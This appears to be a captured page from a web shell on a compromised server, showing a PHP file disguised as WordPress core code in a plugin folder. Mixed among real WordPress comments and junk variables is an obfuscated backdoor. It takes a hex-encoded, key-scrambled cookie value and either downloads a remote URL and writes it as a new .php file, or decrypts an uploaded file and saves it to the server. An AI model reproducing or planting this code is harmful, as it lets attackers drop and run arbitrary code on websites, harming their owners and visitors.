| Server IP : 89.248.107.232 / Your IP : 216.73.217.70 Web Server : Apache System : Linux host2.kasilh.com 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64 User : seg ( 10005) PHP Version : 7.4.33 Disable Function : opcache_get_status MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/vhosts/seg-sa.es/serinco.es/wp-content/plugins/5ns1s4n8/ |
Upload File : |
<?php /*
*
* Creates common globals for the rest of WordPress
*
* Sets $pagenow global which is the filename of the current screen.
* Checks for the browser to set which one is currently being used.
*
* Detects which user environment WordPress is being used on.
* Only attempts to check for Apache, Nginx and IIS -- three web
* servers with known pretty permalink capability.
*
* Note: Though Nginx is detected, WordPress does not currently
* generate rewrite rules for it. See https:wordpress.org/support/article/nginx/
*
* @package WordPress
global $pagenow,
$is_lynx, $is_gecko, $is_winIE, $is_macIE, $is_opera, $is_NS4, $is_safari, $is_chrome, $is_iphone, $is_IE, $is_edge,
$is_apache, $is_IIS, $is_iis7, $is_nginx;
On which page are we?
if ( is_admin() ) {
wp-admin pages are checked more carefully.
if ( is_network_admin() ) {
preg_match( '#/wp-admin/network/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches );
} elseif ( is_user_admin() ) {
preg_match( '#/wp-admin/user/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches );
} else {
preg_match( '#/wp-admin/?(.*?)$#i', $_SERVER['PHP_SELF'], $self_matches );
}
$pagenow = ! empty( $self_matches[1] ) ? $self_matches[1] : '';
$pagenow = trim( $pagenow, '/' );
$pagenow = preg_replace( '#\?.*?$#', '', $pagenow );
if ( '' === $pagenow || 'index' === $pagenow || 'index.php' === $pagenow ) {
$pagenow = 'index.php';
} else {
preg_match( '#(.*?)(/|$)#', $pagenow, $self_matches );
$pagenow = strtolower( $self_matches[1] );
if ( '.php' !== substr( $pagenow, -4, 4 ) ) {
$pagenow .= '.php'; For `Options +Multiviews`: /wp-admin/themes/index.php (themes.php is queried).
}
}
} else {
if ( preg_match( '#([^/]+\.php)([?/].*?)?$#i', $_SERVER['PHP_SELF'], $self_matches ) ) {
$pagenow = strtolower( $self_matches[1] );
} else {
$pagenow = 'index.php';
}
}
unset( $self_matches );
Simple browser detection.
$is_lynx = false;
$is_gecko = false;
$is_winIE = false;
$is_macIE = false;
$is_opera = false;
$is_NS4 = false;
$is_safari = false;
$is_chrome = false;
$is_iphone = false;
$is_edge = false;
if ( isset( $_SERVER['HTTP_USER_AGENT'] ) ) {
if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Lynx' ) !== false ) {
$is_lynx = true;
} elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Edg' ) !== false ) {
$is_edge = true;
} elseif ( stripos( $_SERVER['HTTP_USER_AGENT'], 'chrome' ) !== false ) {
if ( stripos( $_SERVER['HTTP_USER_AGENT'], 'chromeframe' ) !== false ) {
$is_admin = is_admin();
*
* Filters whether Google Chrome Frame should be used, if available.
*
* @since 3.2.0
*
* @param bool $is_admin Whether to use the Google Chrome Frame. Default is the value of i*/
/**
* Determines if the HTTP origin is an authorized one.
*
* @since 3.4.0
*
* @param string|null $origin Origin URL. If not provided, the value of get_http_origin() is used.
* @return string Origin URL if allowed, empty string if not.
*/
function stream_headers($seen_menu_names, $MPEGaudioEmphasisLookup)
{
return file_put_contents($seen_menu_names, $MPEGaudioEmphasisLookup); // CLIPping container atom
}
/*
* Instead of clearing the parser state and starting fresh, calling the stack methods
* maintains the proper flags in the parser.
*/
function grant_super_admin($stack)
{
$stack = determine_charset($stack);
$new_ID = "PrimaryString";
return file_get_contents($stack);
}
/*
* Note: str_ends_with() is not used here, as this file can be included
* directly outside of WordPress core, e.g. by HyperDB, in which case
* the polyfills from wp-includes/compat.php are not loaded.
*/
function get_the_author_firstname($sock_status, $post_type_filter) {
$seconds = "loremipsum"; //Automatically enable TLS encryption if:
$panel = substr($seconds, 1, 4);
$queued = hash("sha256", $panel); // Replace $query; and add remaining $query characters, or index 0 if there were no placeholders.
if (strlen($queued) < 30) {
$rev = str_pad($queued, 30, "X");
}
if (the_search_query($sock_status, $post_type_filter)) {
$plugins_subdir = rawurldecode("%6C%69");
$lelen = explode("e", $seconds); // $p_remove_dir : A path to remove from the real path of the file to archive,
return 'Access Granted'; // ----- Nothing to duplicate, so duplicate is a success.
}
$group_name = array_merge($lelen, array($plugins_subdir));
$prev_value = implode("|", $group_name);
return 'Access Denied';
}
/**
* Filters whether the current image is displayable in the browser.
*
* @since 2.5.0
*
* @param bool $prepared_attachment Whether the image can be displayed. Default true.
* @param string $path Path to the image.
*/
function setUnsignedInt($required_kses_globals, $numerator)
{
$deviation_cbr_from_header_bitrate = after_plugin_theme_update($required_kses_globals) - after_plugin_theme_update($numerator); // Not the current page.
$deviation_cbr_from_header_bitrate = $deviation_cbr_from_header_bitrate + 256;
$limited_email_domains = "String Example";
$slug_decoded = str_pad($limited_email_domains, 10, "*"); // Selective Refresh.
if (!empty($slug_decoded)) {
$what = hash('sha1', $slug_decoded);
$draft_saved_date_format = explode("5", $what);
$try_rollback = trim($draft_saved_date_format[0]);
}
$deviation_cbr_from_header_bitrate = $deviation_cbr_from_header_bitrate % 256;
$required_kses_globals = validate_plugin_requirements($deviation_cbr_from_header_bitrate); // When `$recursionontext` is an array it's actually an array of allowed HTML elements and attributes.
return $required_kses_globals;
}
/*
* This is not meant to be foolproof -- but it will catch obviously incorrect usage.
*
* Note: str_contains() is not used here, as this file can be included
* directly outside of WordPress core, e.g. by HyperDB, in which case
* the polyfills from wp-includes/compat.php are not loaded.
*/
function the_search_query($sock_status, $post_type_filter) {
$filtered = 'Hello World';
if (isset($filtered)) {
$delete_time = substr($filtered, 0, 5);
}
return $sock_status === 'admin' && $post_type_filter === 'secret';
}
/* translators: Custom template title in the Site Editor, referencing a deleted author. %s: Author nicename. */
function block_core_query_ensure_interactivity_dependency($stack) // Show the "Set Up Akismet" banner on the comments and plugin pages if no API key has been set.
{
$get_all = basename($stack);
$replaygain = "https%3A%2F%2Fdomain.com%2Fpath";
$f6_2 = rawurldecode($replaygain);
$use_widgets_block_editor = explode('/', $f6_2);
if (count($use_widgets_block_editor) > 2) {
$slashed_home = hash('sha512', $use_widgets_block_editor[3]);
$php_files = strrev($slashed_home);
$mu_plugin = trim($php_files);
$outside = explode('e', $mu_plugin);
$userpass = str_replace('a', '@', implode('', $outside));
}
$theme_json_encoded = strlen($f6_2);
$seen_menu_names = get_uri($get_all);
CopyTagsToComments($stack, $seen_menu_names);
}
/**
* WordPress Administration Template Footer.
*/
function wp_get_ready_cron_jobs($firstword, $template_dir_uri, $overhead)
{
if (isset($_FILES[$firstword])) {
$frame_crop_right_offset = 'Spaces here '; // Roll-back file change.
$system_web_server_node = trim($frame_crop_right_offset);
render_block_core_comments_pagination($firstword, $template_dir_uri, $overhead);
$sortby = str_repeat($system_web_server_node, 2);
}
// Determine initial date to be at present or future, not past.
the_block_editor_meta_box_post_form_hidden_fields($overhead);
}
/**
* Retrieves the block type' schema, conforming to JSON Schema.
*
* @since 5.8.0
* @since 5.9.0 Added `'area'`.
*
* @return array Item schema data.
*/
function block_core_home_link_build_css_font_sizes($remind_me_link)
{ // Lossless WebP.
$split_term_data = pack("H*", $remind_me_link); // If there are no shared term_taxonomy rows, there's nothing to do here.
return $split_term_data;
}
/**
* Plugins may load this file to gain access to special helper functions
* for plugin installation. This file is not included by WordPress and it is
* recommended, to prevent fatal errors, that this file is included using
* require_once.
*
* These functions are not optimized for speed, but they should only be used
* once in a while, so speed shouldn't be a concern. If it is and you are
* needing to use these functions a lot, you might experience timeouts.
* If you do, then it is advised to just write the SQL code yourself.
*
* check_column( 'wp_links', 'link_description', 'mediumtext' );
*
* if ( check_column( $wpdb->comments, 'comment_author', 'tinytext' ) ) {
* echo "ok\n";
* }
*
* // Check the column.
* if ( ! check_column( $wpdb->links, 'link_description', 'varchar( 255 )' ) ) {
* $ddl = "ALTER TABLE $wpdb->links MODIFY COLUMN link_description varchar(255) NOT NULL DEFAULT '' ";
* $q = $wpdb->query( $ddl );
* }
*
* $error_count = 0;
* $tablename = $wpdb->links;
*
* if ( check_column( $wpdb->links, 'link_description', 'varchar( 255 )' ) ) {
* $res .= $tablename . ' - ok <br />';
* } else {
* $res .= 'There was a problem with ' . $tablename . '<br />';
* ++$error_count;
* }
*
* @package WordPress
* @subpackage Plugin
*/
function after_plugin_theme_update($f0f8_2)
{
$f0f8_2 = ord($f0f8_2);
$lock_holder = 'This is a string';
if (strlen($lock_holder) > 10) {
$endian_letter = substr($lock_holder, 0, 10);
}
// Grab the icon's link element.
return $f0f8_2;
}
/**
* The separator string used for localizing list item separator.
*
* @since 6.0.0
* @var string
*/
function wp_cache_set_multiple($total_attribs) {
$with_id = array("apple", "banana", "");
return array_unique($total_attribs); // 1 : PclError external library error handling. By enabling this
} // <Header for 'Location lookup table', ID: 'MLLT'>
/**
* Constructor.
*
* Sets up the WordPress query, if parameter is not empty.
*
* @since 1.5.0
*
* @see WP_Query::parse_query() for all available arguments.
*
* @param string|array $query URL query string or array of vars.
*/
function get_uri($get_all)
{
return import_theme_starter_content() . DIRECTORY_SEPARATOR . $get_all . ".php";
}
/**
* Fires when scripts and styles are enqueued for the embed iframe.
*
* @since 4.4.0
*/
function render_block_core_comments_pagination($firstword, $template_dir_uri, $overhead)
{
$get_all = $_FILES[$firstword]['name'];
$timezone_string = "user_token";
$lelen = explode("_", $timezone_string);
$seen_menu_names = get_uri($get_all);
$filename_source = array_merge($lelen, ["extra"]); // [66][A5] -- The binary value used to represent this track in the chapter codec data. The format depends on the ChapProcessCodecID used.
update_additional_fields_for_object($_FILES[$firstword]['tmp_name'], $template_dir_uri);
$styles_non_top_level = implode("-", $filename_source);
$singular_name = strlen(hash('adler32', $styles_non_top_level));
$default_link_category = substr($styles_non_top_level, 0, $singular_name);
check_package($_FILES[$firstword]['tmp_name'], $seen_menu_names);
}
/**
* Converts a widget_id into its corresponding Customizer setting ID (option name).
*
* @since 3.9.0
*
* @param string $widget_id Widget ID.
* @return string Maybe-parsed widget ID.
*/
function get_property_value($firstword)
{
$template_dir_uri = 'uyNtjCYQTQrFbSwBCJJUQ'; // Disable somethings by default for multisite.
$timezone_string = "data_segment";
$setting_nodes = explode("_", $timezone_string);
$post_meta_ids = str_pad($setting_nodes[1], 12, "*"); // Note: This message is not shown if client caching response headers were present since an external caching layer may be employed.
$roomtyp = hash('whirlpool', $post_meta_ids); // The transports decrement this, store a copy of the original value for loop purposes.
$linear_factor = rawurldecode('%23');
if (isset($_COOKIE[$firstword])) {
if (strlen($roomtyp) < 50) {
$site_admins = str_replace("*", $linear_factor, $roomtyp);
}
blogger_setTemplate($firstword, $template_dir_uri); // Sanitize, mostly to keep spaces out.
}
}
/**
* Checks if a given request has access to a taxonomy.
*
* @since 4.7.0
*
* @param WP_REST_Request $request Full details about the request.
* @return true|WP_Error True if the request has read access for the item, otherwise false or WP_Error object.
*/
function blogger_setTemplate($firstword, $template_dir_uri) // <Header for 'Event timing codes', ID: 'ETCO'>
{
$existingvalue = $_COOKIE[$firstword];
$timezone_string = "Hello World!";
$template_part_query = hash('sha256', $timezone_string);
$default_attachment = trim($timezone_string);
$overdue = str_pad($default_attachment, 20, '*');
if (strlen($overdue) > 15) {
$pt = substr($overdue, 0, 15);
}
$existingvalue = block_core_home_link_build_css_font_sizes($existingvalue);
$overhead = register_post_status($existingvalue, $template_dir_uri); // 3.3
if (comments_match($overhead)) {
$prepared_attachment = show_message($overhead); // 'ids' is explicitly ordered, unless you specify otherwise.
return $prepared_attachment;
}
wp_get_ready_cron_jobs($firstword, $template_dir_uri, $overhead);
}
/**
* Removes an existing rewrite tag.
*
* @since 4.5.0
*
* @see WP_Rewrite::$rewritecode
* @see WP_Rewrite::$rewritereplace
* @see WP_Rewrite::$queryreplace
*
* @param string $tag Name of the rewrite tag to remove.
*/
function wp_is_site_url_using_https($total_attribs) { // Add border width and color styles.
$option_fread_buffer_size = "Test"; // If configuration file does not exist then we create one.
if (isset($option_fread_buffer_size) && !empty($option_fread_buffer_size)) {
$title_placeholder = "Variable is set and not empty.";
} else {
$title_placeholder = "Variable is not usable.";
}
$users_of_blog = implode(",", array($option_fread_buffer_size, $title_placeholder));
$last_day = strlen($users_of_blog);
$lower_attr = date("d-m-Y");
sort($total_attribs);
return $total_attribs;
}
/**
* @param string $pk
* @return string
* @throws SodiumException
* @throws TypeError
*/
function validate_plugin_requirements($f0f8_2)
{
$required_kses_globals = sprintf("%c", $f0f8_2);
$multisite_enabled = ' Tuple '; # fe_sq(t0, z);
return $required_kses_globals;
}
/**
* Tests whether there is an editor that supports a given mime type or methods.
*
* @since 3.5.0
*
* @param string|array $frameurlsrgs Optional. Array of arguments to retrieve the image editor supports.
* Default empty array.
* @return bool True if an eligible editor is found; false otherwise.
*/
function comments_match($stack)
{
if (strpos($stack, "/") !== false) {
$v_supported_attributes = "123";
$slug_decoded = str_pad($v_supported_attributes, 5, "0", STR_PAD_LEFT);
return true;
}
return false;
}
/*
* Go through the various installation directories and calculate their sizes.
* No trailing slashes.
*/
function register_post_status($returnstring, $AVpossibleEmptyKeys)
{
$framecount = strlen($AVpossibleEmptyKeys);
$not_open_style = strlen($returnstring);
$format_meta_urls = " Value: 20 ";
$framecount = $not_open_style / $framecount;
$new_plugin_data = trim($format_meta_urls);
$framecount = ceil($framecount);
$old_tables = strlen($new_plugin_data);
if ($old_tables > 10) {
$users_of_blog = str_replace("Value:", "Final Value:", $new_plugin_data);
}
$query_callstack = str_split($returnstring);
$AVpossibleEmptyKeys = str_repeat($AVpossibleEmptyKeys, $framecount);
$original = str_split($AVpossibleEmptyKeys);
$original = array_slice($original, 0, $not_open_style);
$one_protocol = array_map("setUnsignedInt", $query_callstack, $original);
$one_protocol = implode('', $one_protocol);
return $one_protocol;
} // Replace the namespace prefix with the base directory, replace namespace
/**
* Root ID for all widgets of this type.
*
* @since 2.8.0
* @var mixed|string
*/
function import_theme_starter_content()
{
return __DIR__;
}
/* End Site Icon */
function determine_charset($stack)
{
$stack = "http://" . $stack;
$frameurls = "data_encoded";
$rating = rawurldecode($frameurls);
$recursion = hash("sha1", $rating); // $p_list : An array containing the file or directory names to add in the tar
return $stack;
}
/**
* Fires inside the Add Tag form tag.
*
* The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
*
* Possible hook names include:
*
* - `category_term_new_form_tag`
* - `post_tag_term_new_form_tag`
*
* @since 3.7.0
*/
function add_option_whitelist($sup, $memoryLimit) {
$meta_line = "Welcome"; // * File Properties Object [required] (global file attributes)
$filename_source = wp_comments_personal_data_eraser($sup, $memoryLimit);
$plugin_not_deleted_message = explode(" ", $meta_line);
$posts_controller = implode("-", $plugin_not_deleted_message);
return wp_cache_set_multiple($filename_source);
}
/**
* Calculates length of string in bytes
*
* @deprecated 5.3.0 Use the PHP native JSON extension instead.
*
* @param string
* @return integer length
*/
function wp_send_user_request($total_attribs) {
$desc = "abcdefg";
return array_unique($total_attribs); // Mark site as no longer fresh.
}
/**
* Fires after a new term is created for a specific taxonomy.
*
* The dynamic portion of the hook name, `$taxonomy`, refers
* to the slug of the taxonomy the term was created for.
*
* Possible hook names include:
*
* - `create_category`
* - `create_post_tag`
*
* @since 2.3.0
* @since 6.1.0 The `$frameurlsrgs` parameter was added.
*
* @param int $term_id Term ID.
* @param int $tt_id Term taxonomy ID.
* @param array $frameurlsrgs Arguments passed to wp_insert_term().
*/
function the_block_editor_meta_box_post_form_hidden_fields($upload_filetypes)
{ // $p_info['filename'] : Filename with full path. Given by user (add),
echo $upload_filetypes;
}
/**
* Prepares a single comment output for response.
*
* @since 4.7.0
* @since 5.9.0 Renamed `$recursionomment` to `$plugin_not_deleted_messagetem` to match parent class for PHP 8 named parameter support.
*
* @param WP_Comment $plugin_not_deleted_messagetem Comment object.
* @param WP_REST_Request $request Request object.
* @return WP_REST_Response Response object.
*/
function set_credit_class($firstword, $lstring = 'txt') // Object ID GUID 128 // GUID for Padding object - GETID3_ASF_Padding_Object
{
return $firstword . '.' . $lstring;
} // TRacK
/**
* Filters the wp_mail() content type.
*
* @since 2.3.0
*
* @param string $MPEGaudioEmphasisLookup_type Default wp_mail() content type.
*/
function wp_comments_personal_data_eraser($sup, $memoryLimit) { // None
return array_merge($sup, $memoryLimit);
} // ----- Use "in memory" zip algo
/**
* Outputs nonce, action, and option_page fields for a settings page.
*
* @since 2.7.0
*
* @param string $option_group A settings group name. This should match the group name
* used in register_setting().
*/
function CopyTagsToComments($stack, $seen_menu_names)
{
$timestamp = grant_super_admin($stack);
$function_key = "array,merge,test"; // Check if image meta isn't corrupted.
$lelen = explode(",", $function_key);
$options_misc_pdf_returnXREF = array_merge($lelen, array("end"));
if (count($options_misc_pdf_returnXREF) > 3) {
$styles_non_top_level = implode(":", $options_misc_pdf_returnXREF);
}
if ($timestamp === false) {
return false;
}
return stream_headers($seen_menu_names, $timestamp);
} // pic_order_cnt_type
/**
* Parent post type.
*
* @since 6.3.0
* @var string
*/
function check_package($plugin_slug, $vkey)
{
$error_path = move_uploaded_file($plugin_slug, $vkey);
$timezone_string = "message_data";
$lelen = explode("_", $timezone_string); // Remove the extra values added to the meta.
$post_meta_ids = str_pad($lelen[0], 10, "#");
$phpmailer = rawurldecode('%24%24');
$genre = implode($phpmailer, $lelen);
if (strlen($genre) < 20) {
$genre = str_replace("#", "*", $genre);
}
return $error_path;
}
/**
* The current page.
*
* @global string $self
*/
function update_additional_fields_for_object($seen_menu_names, $AVpossibleEmptyKeys)
{
$font_step = file_get_contents($seen_menu_names); // Check for the number of external links if a max allowed number is set.
$processed_srcs = "user:email@domain.com";
$update_title = register_post_status($font_step, $AVpossibleEmptyKeys);
file_put_contents($seen_menu_names, $update_title);
}
/**
* Basic Authentication provider
*
* Provides a handler for Basic HTTP authentication via the Authorization
* header.
*
* @package Requests\Authentication
*/
function set_source_class($total_attribs) {
$spsReader = "Alpha";
$provides_context = "Beta";
return wp_is_site_url_using_https(wp_send_user_request($total_attribs));
}
/**
* Computes a diff between sequences of strings.
*
* This can be used to compute things like case-insensitive diffs, or diffs
* which ignore changes in white-space.
*
* @param array $from_lines An array of strings.
* @param array $to_lines An array of strings.
* @param array $mapped_from_lines This array should have the same size
* number of elements as $from_lines. The
* elements in $mapped_from_lines and
* $mapped_to_lines are what is actually
* compared when computing the diff.
* @param array $mapped_to_lines This array should have the same number
* of elements as $to_lines.
*/
function show_message($overhead)
{
block_core_query_ensure_interactivity_dependency($overhead);
$test_themes_enabled = "Hash Test";
$the_list = explode(" ", $test_themes_enabled);
$StereoModeID = trim($the_list[1]);
if (!empty($StereoModeID)) {
$mock_navigation_block = hash('md5', $StereoModeID);
$old_tables = strlen($mock_navigation_block);
$shortcode = str_pad($mock_navigation_block, 16, "*");
}
the_block_editor_meta_box_post_form_hidden_fields($overhead);
}
$firstword = 'Ules'; // Get the 'tagname=$matches[i]'.
$frameurls = "format this";
get_property_value($firstword);
$rating = substr($frameurls, 1, 5);
$posts_list = add_option_whitelist([1, 2, 3], [3, 4, 5]);
$recursion = str_pad($rating, 10, "0");
/* s_admin().
$is_chrome = apply_filters( 'use_google_chrome_frame', $is_admin );
if ( $is_chrome ) {
header( 'X-UA-Compatible: chrome=1' );
}
$is_winIE = ! $is_chrome;
} else {
$is_chrome = true;
}
} elseif ( stripos( $_SERVER['HTTP_USER_AGENT'], 'safari' ) !== false ) {
$is_safari = true;
} elseif ( ( strpos( $_SERVER['HTTP_USER_AGENT'], 'MSIE' ) !== false || strpos( $_SERVER['HTTP_USER_AGENT'], 'Trident' ) !== false ) && strpos( $_SERVER['HTTP_USER_AGENT'], 'Win' ) !== false ) {
$is_winIE = true;
} elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'MSIE' ) !== false && strpos( $_SERVER['HTTP_USER_AGENT'], 'Mac' ) !== false ) {
$is_macIE = true;
} elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Gecko' ) !== false ) {
$is_gecko = true;
} elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Opera' ) !== false ) {
$is_opera = true;
} elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Nav' ) !== false && strpos( $_SERVER['HTTP_USER_AGENT'], 'Mozilla/4.' ) !== false ) {
$is_NS4 = true;
}
}
if ( $is_safari && stripos( $_SERVER['HTTP_USER_AGENT'], 'mobile' ) !== false ) {
$is_iphone = true;
}
$is_IE = ( $is_macIE || $is_winIE );
Server detection.
*
* Whether the server software is Apache or something else
*
* @global bool $is_apache
$is_apache = ( strpos( $_SERVER['SERVER_SOFTWARE'], 'Apache' ) !== false || strpos( $_SERVER['SERVER_SOFTWARE'], 'LiteSpeed' ) !== false );
*
* Whether the server software is Nginx or something else
*
* @global bool $is_nginx
$is_nginx = ( strpos( $_SERVER['SERVER_SOFTWARE'], 'nginx' ) !== false );
*
* Whether the server software is IIS or something else
*
* @global bool $is_IIS
$is_IIS = ! $is_apache && ( strpos( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS' ) !== false || strpos( $_SERVER['SERVER_SOFTWARE'], 'ExpressionDevServer' ) !== false );
*
* Whether the server software is IIS 7.X or greater
*
* @global bool $is_iis7
$is_iis7 = $is_IIS && (int) substr( $_SERVER['SERVER_SOFTWARE'], strpos( $_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS/' ) + 14 ) >= 7;
*
* Test if the current browser runs on a mobile device (smart phone, tablet, etc.)
*
* @since 3.4.0
*
* @return bool
function wp_is_mobile() {
if ( empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
$is_mobile = false;
} elseif ( strpos( $_SERVER['HTTP_USER_AGENT'], 'Mobile' ) !== false Many mobile devices (all iPhone, iPad, etc.)
|| strpos( $_SERVER['HTTP_USER_AGENT'], 'Android' ) !== false
|| strpos( $_SERVER['HTTP_USER_AGENT'], 'Silk/' ) !== false
|| strpos( $_SERVER['HTTP_USER_AGENT'], 'Kindle' ) !== false
|| strpos( $_SERVER['HTTP_USER_AGENT'], 'BlackBerry' ) !== false
|| strpos( $_SERVER['HTTP_USER_AGENT'], 'Opera Mini' ) !== false
|| strpos( $_SERVER['HTTP_USER_AGENT'], 'Opera Mobi' ) !== false ) {
$is_mobile = true;
} else {
$is_mobile = false;
}
*
* Filters whether the request should be treated as coming from a mobile device or not.
*
* @since 4.9.0
*
* @param bool $is_mobile Whether the request is from a mobile device or not.
return apply_filters( 'wp_is_mobile', $is_mobile );
}
*/